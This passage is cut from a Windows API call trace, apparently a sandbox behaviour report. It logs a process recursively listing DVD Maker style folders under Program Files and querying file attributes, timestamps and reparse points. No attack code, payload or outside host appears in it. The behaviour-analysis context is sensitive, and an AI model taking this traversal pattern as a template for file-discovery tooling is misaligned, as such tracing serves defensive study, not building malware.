lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0067.568] GetLastError () returned 0x12 [0067.568] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.568] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.568] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.568] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0067.568] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0067.568] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0067.568] GetLastError () returned 0x12 [0067.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.568] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0067.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.568] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0067.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.568] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0067.569] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd5460 [0067.569] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd5460, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfd5460, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5460) returned 1 [0067.569] NtClose (Handle=0x148) returned 0x0 [0067.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8b70 [0067.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8bf8 [0067.569] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.608] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.608] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.608] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.608] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.608] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.609] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.609] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8b70) returned 1 [0067.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf2e8 [0067.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd19a0 [0067.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1000) returned 0xfd5460 [0067.609] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd0498) returned 1 [0067.609] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.609] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0067.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.609] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.609] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.609] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf308 [0067.609] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.609] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.609] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.609] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.609] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.609] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0067.610] GetLastError () returned 0x12 [0067.610] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.610] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0067.610] GetLastError () returned 0x12 [0067.610] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8bf8) returned 1 [0067.610] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.611] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0067.611] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.611] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0067.611] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0067.611] GetLastError () returned 0x12 [0067.611] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb82f0) returned 1 [0067.611] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0067.612] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0067.612] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0067.612] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0067.612] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, 